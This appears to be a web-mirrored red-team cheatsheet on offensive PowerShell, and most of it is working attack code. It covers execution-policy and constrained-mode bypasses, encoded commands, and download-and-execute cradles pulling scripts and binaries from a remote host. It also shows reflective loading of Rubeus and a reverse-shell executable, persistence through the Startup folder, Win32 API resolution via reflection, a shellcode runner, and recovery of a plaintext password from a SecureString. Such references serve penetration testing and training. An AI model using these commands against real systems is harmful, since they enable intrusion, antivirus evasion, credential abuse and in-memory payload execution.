daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

powershell-cheatsheet.md (16737B)


      1 ---
      2 title: "Powershell"
      3 section: "Cheatsheets"
      4 sectionSlug: "cheatsheets"
      5 sourcePath: "docs/cheatsheets/powershell-cheatsheet.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cheatsheets/powershell-cheatsheet.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Powershell
     12 
     13 ## Summary
     14 
     15 - [Powershell](#powershell)
     16     - [Summary](#summary)
     17     - [Execution Policy](#execution-policy)
     18     - [Encoded Commands](#encoded-commands)
     19     - [Constrained Mode](#constrained-mode)
     20     - [Encoded Commands](#encoded-commands)
     21     - [Download file](#download-file)
     22     - [Load Powershell scripts](#load-powershell-scripts)
     23     - [Load C# assembly reflectively](#load-c-assembly-reflectively)
     24     - [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
     25         - [Resolve address functions](#resolve-address-functions)
     26         - [DelegateType Reflection](#delegatetype-reflection)
     27         - [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
     28     - [Secure String to Plaintext](#secure-string-to-plaintext)
     29     - [References](#references)
     30 
     31 ## Execution Policy
     32 
     33 ```ps1
     34 powershell -EncodedCommand $encodedCommand
     35 powershell -ep bypass ./PowerView.ps1
     36 
     37 # Change execution policy
     38 Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
     39 Set-ExecutionPolicy Bypass -Scope Process
     40 ```
     41 
     42 ## Constrained Mode
     43 
     44 ```ps1
     45 # Check if we are in a constrained mode
     46 # Values could be: FullLanguage or ConstrainedLanguage
     47 $ExecutionContext.SessionState.LanguageMode
     48 
     49 ## Bypass
     50 powershell -version 2
     51 ```
     52 
     53 ## Encoded Commands
     54 
     55 - Windows
     56 
     57     ```ps1
     58     $command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
     59     $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
     60     $encodedCommand = [Convert]::ToBase64String($bytes)
     61     ```
     62 
     63 - Linux: :warning: UTF-16LE encoding is required
     64 
     65     ```ps1
     66     echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
     67     ```
     68 
     69 ## Download file
     70 
     71 ```ps1
     72 # Any version
     73 (New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
     74 wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
     75 Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
     76 
     77 # Powershell 4+
     78 IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
     79 Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
     80 ```
     81 
     82 ## Load Powershell scripts
     83 
     84 ```ps1
     85 # Proxy-aware
     86 IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
     87 echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
     88 powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
     89 
     90 # Non-proxy aware
     91 $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
     92 ```
     93 
     94 ## Load C# assembly reflectively
     95 
     96 ```powershell
     97 # Download and run assembly without arguments
     98 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
     99 $assem = [System.Reflection.Assembly]::Load($data)
    100 [rev.Program]::Main()
    101 
    102 # Download and run Rubeus, with arguments (make sure to split the args)
    103 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
    104 $assem = [System.Reflection.Assembly]::Load($data)
    105 [Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
    106 
    107 # Execute a specific method from an assembly (e.g. a DLL)
    108 $data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
    109 $assem = [System.Reflection.Assembly]::Load($data)
    110 $class = $assem.GetType("ClassLibrary1.Class1")
    111 $method = $class.GetMethod("runner")
    112 $method.Invoke(0, $null)
    113 ```
    114 
    115 ## Call Win API using delegate functions with Reflection
    116 
    117 ### Resolve address functions
    118 
    119 To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.
    120 
    121 To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
    122 
    123 ```powershell
    124 # Retrieve all loaded Assemblies
    125 $Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
    126 
    127 Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods 
    128 $Assemblies |
    129   ForEach-Object {
    130     $_.GetTypes()|
    131       ForEach-Object {
    132           $_ | Get-Member -Static| Where-Object {
    133             $_.TypeName.Contains('Unsafe')
    134           }
    135       } 2> $nul l
    136 ```
    137 
    138 We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
    139 TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`
    140 
    141 If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.
    142 
    143 ```powershell
    144 $systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
    145   $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') 
    146 })
    147   
    148 $unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
    149 ```
    150 
    151 To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
    152 `$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`
    153 
    154 Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
    155 Invoke takes two arguments and both are objects:
    156 
    157 - The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
    158 - The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
    159 `$GetModuleHandle.Invoke($null, @("user32.dll"))`
    160 
    161 However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.
    162 
    163 Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.
    164 
    165 ```powershell
    166 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
    167 ```
    168 
    169 If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.
    170 
    171 ```powershell
    172 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    173 $GetProcAddress = $tmp[0]
    174 ```
    175 
    176 We need to take the first one, because the arguments type of the second one does not match with ours.
    177 
    178 Alternatively we can use `GetMethod` function to precise the argument types that we want.
    179 
    180 ```powershell
    181 $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
    182         [reflection.bindingflags]'Public,Static', 
    183         $null, 
    184                              [System.Reflection.CallingConventions]::Any,
    185                              @([System.IntPtr], [string]), 
    186                              $null);
    187 ```
    188 
    189 cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0)
    190 
    191 Now we have everything to resolve any function address we want.
    192 
    193 ```powershell
    194 $user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
    195 $tmp=@()
    196 $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    197 $GetProcAddress = $tmp[0]
    198 $GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
    199 ```
    200 
    201 If we put everything in a function:
    202 
    203 ```powershell
    204 function LookupFunc {
    205 
    206     Param ($moduleName, $functionName)
    207 
    208     $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    209     $tmp=@()
    210     $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    211     return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
    212 }
    213 ```
    214 
    215 ### DelegateType Reflection
    216 
    217 To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`.
    218 The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
    219 
    220 The first step is to create a new assembly with the class `AssemblyName` and assign it a name.
    221 
    222 ```powershell
    223 $MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    224 ```
    225 
    226 Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used.
    227 
    228 ```powershell
    229 $Domain = [AppDomain]::CurrentDomain
    230 $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    231 ```
    232 
    233 Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule`
    234 The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
    235 
    236 ```powershell
    237 $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    238 ```
    239 
    240 The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`.
    241 The arguments are:
    242 
    243 - a custom name
    244 - the attributes of the type
    245 - the type it build on top of
    246 
    247 ```powershell
    248 $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    249 ```
    250 
    251 Then we will need to set the prototype of our function.
    252 First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments:
    253 
    254 - the attributes of the constructor
    255 - calling convention
    256 - the parameter types of the constructor that will become the function prototype
    257 
    258 ```powershell
    259 $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
    260                                                         [System.Reflection.CallingConventions]::Standard,
    261                                                         @([IntPtr], [String], [String], [int]))
    262 ```
    263 
    264 Then we need to set some implementation flags with the method `SetImplementationFlags`.
    265 
    266 ```powershell
    267 $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    268 ```
    269 
    270 To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that.
    271 The method takes four arguments:
    272 
    273 - name of the method defined
    274 - method attributes
    275 - return type
    276 - array of argument types
    277 
    278 ```powershell
    279 $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
    280                                                 'Public, HideBySig, NewSlot, Virtual',
    281                                                 [int],
    282                                                 @([IntPtr], [String], [String], [int]))
    283 ```
    284 
    285 If we put everything in a function:
    286 
    287 ```powershell
    288 function Get-Delegate
    289 {
    290     Param (
    291         [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
    292         [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
    293         [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    294     )
    295 
    296     $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    297     DefineDynamicModule('QM', $false).
    298     DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    299     $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    300     $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    301     $delegate = $type.CreateType()
    302 
    303     return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
    304 }
    305 ```
    306 
    307 ### Example with a simple shellcode runner
    308 
    309 ```powershell
    310 # Create a Delegate function  to be able to call the function that we have the address
    311 function Get-Delegate
    312 {
    313     Param (
    314         [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
    315         [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
    316         [Parameter(Position = 2)] [Type] $retType = [Void] # Return type
    317     )
    318 
    319     $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    320     DefineDynamicModule('QM', $false).
    321     DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    322     $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
    323     $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
    324     $delegate = $type.CreateType()
    325 
    326     return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
    327 }
    328 # Allow to retrieve function address from a dll
    329 function LookupFunc {
    330 
    331  Param ($moduleName, $functionName)
    332 
    333  $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    334     $tmp=@()
    335     $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    336  return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
    337 }
    338 
    339 # Simple Shellcode runner using delegation
    340 $VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
    341 $CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
    342 $WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" 
    343 
    344 
    345 $VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
    346 $CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
    347 $WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])
    348 
    349 [Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...
    350 
    351 $mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
    352 [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
    353 $hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
    354 $WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
    355 
    356 ```
    357 
    358 ## Secure String to Plaintext
    359 
    360 ```ps1
    361 $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
    362 $user = "HTB\Tom"
    363 $cred = New-Object System.management.Automation.PSCredential($user, $pass)
    364 $cred.GetNetworkCredential() | fl
    365 UserName       : Tom
    366 Password       : 1ts-mag1c!!!
    367 SecurePassword : System.Security.SecureString
    368 Domain         : HTB
    369 ```
    370 
    371 ## References
    372 
    373 - [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
    374 - [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)